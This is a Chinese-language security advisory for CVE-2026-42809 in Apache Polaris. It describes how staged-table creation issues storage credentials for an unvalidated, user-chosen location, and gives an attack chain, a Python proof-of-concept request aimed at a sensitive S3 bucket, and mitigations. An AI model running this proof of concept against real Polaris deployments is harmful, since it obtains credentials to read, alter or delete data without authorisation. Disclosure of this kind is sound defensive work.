CVE-2026-42809 Apache Polaris 凭证验证缺失漏洞

漏洞信息

漏洞编号

CVE-2026-42809

漏洞类型

权限提升

CVSS评分

9.9 严重

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Apache Polaris

漏洞概述

Apache Polaris 在暂存表创建过程中存在严重的安全逻辑缺陷。系统在验证或持久保留有效表位置之前，会依据用户输入颁发范围广泛的临时存储凭证。攻击者可以通过提供自定义的 `location` 参数或特定的请求属性，诱导系统生成指向攻击者选定目标的委托存储凭证。由于缺少正常的位置验证和重叠检查，攻击者可利用这些凭证访问或篡改本受限的数据和元数据，导致机密性、完整性和可用性受到严重影响。

技术细节

该漏洞的核心在于 Apache Polaris 处理暂存表创建请求时的验证时序错误。当调用者发起 stage-create 请求并请求凭证分发（credential vending）时，系统会直接解析请求中的自定义 `location` 字段或 `write.data.path`/`write.metadata.path` 属性。系统立即利用这些未经校验的输入来构建并颁发委托存储凭证。正常的安全流程应当先验证这些位置路径的合法性以及是否存在重叠冲突，但在该漏洞路径中，关键的验证步骤被跳过。这使得拥有低权限（PR:L）的攻击者能够将凭证的作用域定向到任意可达的存储位置（如敏感的 S3 bucket）。由于漏洞影响范围（Scope Changed, S:C），攻击者随后利用这些合法签发的临时凭证，可以绕过网络边界限制，以高权限对目标数据进行未授权的读取、写入或破坏操作，从而完全威胁到系统的机密性、完整性和可用性。

攻击链分析

STEP 1

侦察与准备

攻击者确认目标运行 Apache Polaris，并拥有低权限账户访问权限。

STEP 2

构造恶意请求

攻击者构造一个暂存表创建请求，并在 `location` 参数中填入指向敏感存储资源（如管理员 S3 bucket）的路径。

STEP 3

触发漏洞

攻击者发送请求，Apache Polaris 接收到 `location` 参数，在未进行验证的情况下，直接基于该路径生成临时存储凭证。

STEP 4

获取凭证

服务器返回响应，其中包含针对攻击者指定位置的合法临时访问凭证。

STEP 5

利用凭证

攻击者使用获取到的凭证，直接访问敏感存储位置，读取、修改或删除数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target Apache Polaris endpoint
url = "https://polaris-server/api/v1/catalogs/namespace/tables/stage_create"

# Attacker controlled headers and payload
headers = {
    "Authorization": "Bearer <low_privilege_token>",
    "Content-Type": "application/json"
}

# Malicious payload targeting a sensitive storage bucket
payload = {
    "name": "exploit_table",
    "stageCreate": {
        # The vulnerable parameter: custom location pointing to sensitive data
        "location": "s3://sensitive-company-bucket/admin-data/", 
        "requestCredential": True
    }
}

try:
    # Send the request to create a staged table
    response = requests.post(url, json=payload, headers=headers)

    if response.status_code == 200:
        data = response.json()
        # If vulnerable, the response contains credentials for the sensitive bucket
        if "credentials" in data or "accessKey" in data:
            print("[+] Exploit Successful! Received credentials:")
            print(data)
        else:
            print("[-] Request succeeded but no credentials found.")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"Error: {e}")

影响范围

Apache Polaris (特定未修复版本)

防御指南

临时缓解措施

建议立即应用官方发布的补丁进行修复。如果无法立即升级，应暂时禁用暂存表创建功能或实施网络层控制，严格限制 Apache Polaris 服务对存储系统的访问范围，并监控异常的凭证请求行为。